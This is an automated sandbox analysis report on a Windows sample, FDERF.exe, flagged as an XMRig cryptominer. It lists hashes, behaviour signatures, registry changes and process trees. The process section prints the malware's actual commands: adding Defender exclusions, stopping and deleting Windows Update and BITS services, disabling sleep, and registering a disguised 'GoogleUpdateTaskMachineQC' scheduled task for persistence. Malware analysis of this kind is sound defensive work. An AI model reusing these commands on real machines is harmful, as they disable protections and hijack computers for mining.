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Analysis
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max time kernel
1800s -
max time network
1811s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
26/03/2023, 17:22
Static task
static1
Behavioral task
behavioral1
Sample
NL/FDERF.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral2
Sample
NL/miDDner.exe
Resource
win10v2004-20230221-en
Behavioral task
behavioral3
Sample
NL/minDer.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral4
Sample
NL/miner.exe
Resource
win10v2004-20230220-en
General
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Target
NL/FDERF.exe
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Size
53.0MB
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MD5
5c4eecf00e9f6e0222c205c3dc327bb8
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SHA1
2188e4b277e214364804a4ffcef23017a769722f
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SHA256
2fa065de1468413ea4f909f527e4b7d03bca047c5d4adf1dfa7ade9155ad84e3
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SHA512
0b1761d562484cf54a43599e84836b595dc948f86ecc438ef9bfcb9a30d40e0e51046ff4e3a1d30516971fe92ccb233d0f06613ff17695f9075185effc77db39
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SSDEEP
786432:rZxRmsqYJysNiakCKIqHMzvX67SvdZiF4QI7rR8pUvlQ6Pb:dqYJysNiakCKJHMzvX6ofQAKpUdQ6
Malware Config
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 12 IoCs
description pid Process procid_target PID 1108 created 3160 1108 FDERF.exe 42 PID 1108 created 3160 1108 FDERF.exe 42 PID 1108 created 3160 1108 FDERF.exe 42 PID 1108 created 3160 1108 FDERF.exe 42 PID 1108 created 3160 1108 FDERF.exe 42 PID 5108 created 3160 5108 updater.exe 42 PID 5108 created 3160 5108 updater.exe 42 PID 5108 created 3160 5108 updater.exe 42 PID 5108 created 3160 5108 updater.exe 42 PID 5108 created 3160 5108 updater.exe 42 PID 4040 created 3160 4040 conhost.exe 42 PID 5108 created 3160 5108 updater.exe 42 -
XMRig Miner payload 32 IoCs
resource yara_rule behavioral1/memory/776-246-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-248-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-249-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-251-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-253-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-255-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-257-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-259-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-261-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-263-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-265-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-267-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-269-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-271-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-273-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-275-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-277-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-279-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-281-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-283-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-285-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-287-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-289-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-291-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-293-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-295-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-297-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-299-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-301-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-303-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-305-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig behavioral1/memory/776-307-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp xmrig -
Stops running service(s) 3 TTPs
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Executes dropped EXE 1 IoCs
pid Process 5108 updater.exe -
resource yara_rule behavioral1/memory/776-246-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-248-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-249-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-251-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-253-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-255-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-257-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-259-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-261-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-263-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-265-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-267-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-269-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-271-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-273-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-275-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-277-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-279-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-281-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-283-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-285-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-287-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-289-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-291-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-293-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-295-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-297-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-299-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-301-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-303-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-305-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx behavioral1/memory/776-307-0x00007FF7A2DE0000-0x00007FF7A35D4000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 5108 set thread context of 4040 5108 updater.exe 129 PID 5108 set thread context of 776 5108 updater.exe 135 -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe FDERF.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1196 sc.exe 3892 sc.exe 3592 sc.exe 3396 sc.exe 728 sc.exe 1188 sc.exe 4532 sc.exe 3484 sc.exe 2132 sc.exe 4956 sc.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe -
Suspicious behavior: EnumeratesProcesses 36 IoCs
pid Process 1108 FDERF.exe 1108 FDERF.exe 224 powershell.exe 224 powershell.exe 1108 FDERF.exe 1108 FDERF.exe 1108 FDERF.exe 1108 FDERF.exe 1108 FDERF.exe 1108 FDERF.exe 2192 powershell.exe 2192 powershell.exe 1108 FDERF.exe 1108 FDERF.exe 4896 powershell.exe 4896 powershell.exe 5108 updater.exe 5108 updater.exe 4864 powershell.exe 4864 powershell.exe 5108 updater.exe 5108 updater.exe 5108 updater.exe 5108 updater.exe 5108 updater.exe 5108 updater.exe 3916 powershell.exe 3916 powershell.exe 5108 updater.exe 5108 updater.exe 5108 updater.exe 5108 updater.exe 4040 conhost.exe 4040 conhost.exe 5108 updater.exe 5108 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 656 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 224 powershell.exe Token: SeDebugPrivilege 2192 powershell.exe Token: SeShutdownPrivilege 1244 powercfg.exe Token: SeCreatePagefilePrivilege 1244 powercfg.exe Token: SeShutdownPrivilege 4604 powercfg.exe Token: SeCreatePagefilePrivilege 4604 powercfg.exe Token: SeShutdownPrivilege 876 powercfg.exe Token: SeCreatePagefilePrivilege 876 powercfg.exe Token: SeShutdownPrivilege 3836 powercfg.exe Token: SeCreatePagefilePrivilege 3836 powercfg.exe Token: SeIncreaseQuotaPrivilege 2192 powershell.exe Token: SeSecurityPrivilege 2192 powershell.exe Token: SeTakeOwnershipPrivilege 2192 powershell.exe Token: SeLoadDriverPrivilege 2192 powershell.exe Token: SeSystemProfilePrivilege 2192 powershell.exe Token: SeSystemtimePrivilege 2192 powershell.exe Token: SeProfSingleProcessPrivilege 2192 powershell.exe Token: SeIncBasePriorityPrivilege 2192 powershell.exe Token: SeCreatePagefilePrivilege 2192 powershell.exe Token: SeBackupPrivilege 2192 powershell.exe Token: SeRestorePrivilege 2192 powershell.exe Token: SeShutdownPrivilege 2192 powershell.exe Token: SeDebugPrivilege 2192 powershell.exe Token: SeSystemEnvironmentPrivilege 2192 powershell.exe Token: SeRemoteShutdownPrivilege 2192 powershell.exe Token: SeUndockPrivilege 2192 powershell.exe Token: SeManageVolumePrivilege 2192 powershell.exe Token: 33 2192 powershell.exe Token: 34 2192 powershell.exe Token: 35 2192 powershell.exe Token: 36 2192 powershell.exe Token: SeIncreaseQuotaPrivilege 2192 powershell.exe Token: SeSecurityPrivilege 2192 powershell.exe Token: SeTakeOwnershipPrivilege 2192 powershell.exe Token: SeLoadDriverPrivilege 2192 powershell.exe Token: SeSystemProfilePrivilege 2192 powershell.exe Token: SeSystemtimePrivilege 2192 powershell.exe Token: SeProfSingleProcessPrivilege 2192 powershell.exe Token: SeIncBasePriorityPrivilege 2192 powershell.exe Token: SeCreatePagefilePrivilege 2192 powershell.exe Token: SeBackupPrivilege 2192 powershell.exe Token: SeRestorePrivilege 2192 powershell.exe Token: SeShutdownPrivilege 2192 powershell.exe Token: SeDebugPrivilege 2192 powershell.exe Token: SeSystemEnvironmentPrivilege 2192 powershell.exe Token: SeRemoteShutdownPrivilege 2192 powershell.exe Token: SeUndockPrivilege 2192 powershell.exe Token: SeManageVolumePrivilege 2192 powershell.exe Token: 33 2192 powershell.exe Token: 34 2192 powershell.exe Token: 35 2192 powershell.exe Token: 36 2192 powershell.exe Token: SeIncreaseQuotaPrivilege 2192 powershell.exe Token: SeSecurityPrivilege 2192 powershell.exe Token: SeTakeOwnershipPrivilege 2192 powershell.exe Token: SeLoadDriverPrivilege 2192 powershell.exe Token: SeSystemProfilePrivilege 2192 powershell.exe Token: SeSystemtimePrivilege 2192 powershell.exe Token: SeProfSingleProcessPrivilege 2192 powershell.exe Token: SeIncBasePriorityPrivilege 2192 powershell.exe Token: SeCreatePagefilePrivilege 2192 powershell.exe Token: SeBackupPrivilege 2192 powershell.exe Token: SeRestorePrivilege 2192 powershell.exe Token: SeShutdownPrivilege 2192 powershell.exe -
Suspicious use of WriteProcessMemory 60 IoCs
description pid Process procid_target PID 640 wrote to memory of 4532 640 cmd.exe 89 PID 640 wrote to memory of 4532 640 cmd.exe 89 PID 548 wrote to memory of 1244 548 cmd.exe 90 PID 548 wrote to memory of 1244 548 cmd.exe 90 PID 640 wrote to memory of 3484 640 cmd.exe 91 PID 640 wrote to memory of 3484 640 cmd.exe 91 PID 548 wrote to memory of 4604 548 cmd.exe 92 PID 548 wrote to memory of 4604 548 cmd.exe 92 PID 640 wrote to memory of 1196 640 cmd.exe 93 PID 640 wrote to memory of 1196 640 cmd.exe 93 PID 548 wrote to memory of 876 548 cmd.exe 94 PID 548 wrote to memory of 876 548 cmd.exe 94 PID 640 wrote to memory of 2132 640 cmd.exe 95 PID 640 wrote to memory of 2132 640 cmd.exe 95 PID 548 wrote to memory of 3836 548 cmd.exe 96 PID 548 wrote to memory of 3836 548 cmd.exe 96 PID 640 wrote to memory of 3892 640 cmd.exe 97 PID 640 wrote to memory of 3892 640 cmd.exe 97 PID 640 wrote to memory of 3856 640 cmd.exe 98 PID 640 wrote to memory of 3856 640 cmd.exe 98 PID 640 wrote to memory of 4328 640 cmd.exe 99 PID 640 wrote to memory of 4328 640 cmd.exe 99 PID 640 wrote to memory of 4636 640 cmd.exe 100 PID 640 wrote to memory of 4636 640 cmd.exe 100 PID 640 wrote to memory of 1908 640 cmd.exe 101 PID 640 wrote to memory of 1908 640 cmd.exe 101 PID 640 wrote to memory of 4376 640 cmd.exe 102 PID 640 wrote to memory of 4376 640 cmd.exe 102 PID 4896 wrote to memory of 2688 4896 powershell.exe 105 PID 4896 wrote to memory of 2688 4896 powershell.exe 105 PID 4104 wrote to memory of 4956 4104 cmd.exe 115 PID 4104 wrote to memory of 4956 4104 cmd.exe 115 PID 4104 wrote to memory of 3592 4104 cmd.exe 116 PID 4104 wrote to memory of 3592 4104 cmd.exe 116 PID 4104 wrote to memory of 3396 4104 cmd.exe 117 PID 4104 wrote to memory of 3396 4104 cmd.exe 117 PID 4104 wrote to memory of 728 4104 cmd.exe 118 PID 4104 wrote to memory of 728 4104 cmd.exe 118 PID 4104 wrote to memory of 1188 4104 cmd.exe 119 PID 4104 wrote to memory of 1188 4104 cmd.exe 119 PID 4104 wrote to memory of 3608 4104 cmd.exe 120 PID 4104 wrote to memory of 3608 4104 cmd.exe 120 PID 4104 wrote to memory of 1444 4104 cmd.exe 121 PID 4104 wrote to memory of 1444 4104 cmd.exe 121 PID 1036 wrote to memory of 3720 1036 cmd.exe 122 PID 1036 wrote to memory of 3720 1036 cmd.exe 122 PID 4104 wrote to memory of 2004 4104 cmd.exe 124 PID 4104 wrote to memory of 2004 4104 cmd.exe 124 PID 1036 wrote to memory of 2380 1036 cmd.exe 123 PID 1036 wrote to memory of 2380 1036 cmd.exe 123 PID 4104 wrote to memory of 4204 4104 cmd.exe 125 PID 4104 wrote to memory of 4204 4104 cmd.exe 125 PID 4104 wrote to memory of 4948 4104 cmd.exe 126 PID 4104 wrote to memory of 4948 4104 cmd.exe 126 PID 1036 wrote to memory of 4776 1036 cmd.exe 127 PID 1036 wrote to memory of 4776 1036 cmd.exe 127 PID 1036 wrote to memory of 2832 1036 cmd.exe 128 PID 1036 wrote to memory of 2832 1036 cmd.exe 128 PID 5108 wrote to memory of 4040 5108 updater.exe 129 PID 5108 wrote to memory of 776 5108 updater.exe 135 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3160
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C:\Users\Admin\AppData\Local\Temp\NL\FDERF.exe"C:\Users\Admin\AppData\Local\Temp\NL\FDERF.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1108
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:224
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:640 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:4532
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:3484
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:1196
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:2132
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:3892
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:3856
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:4328
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:4636
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:1908
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:4376
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
PID:548 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:1244
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:4604
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:876
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:3836
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#hpfjuzary#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2192
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#jcugcwsbl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4896 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2688
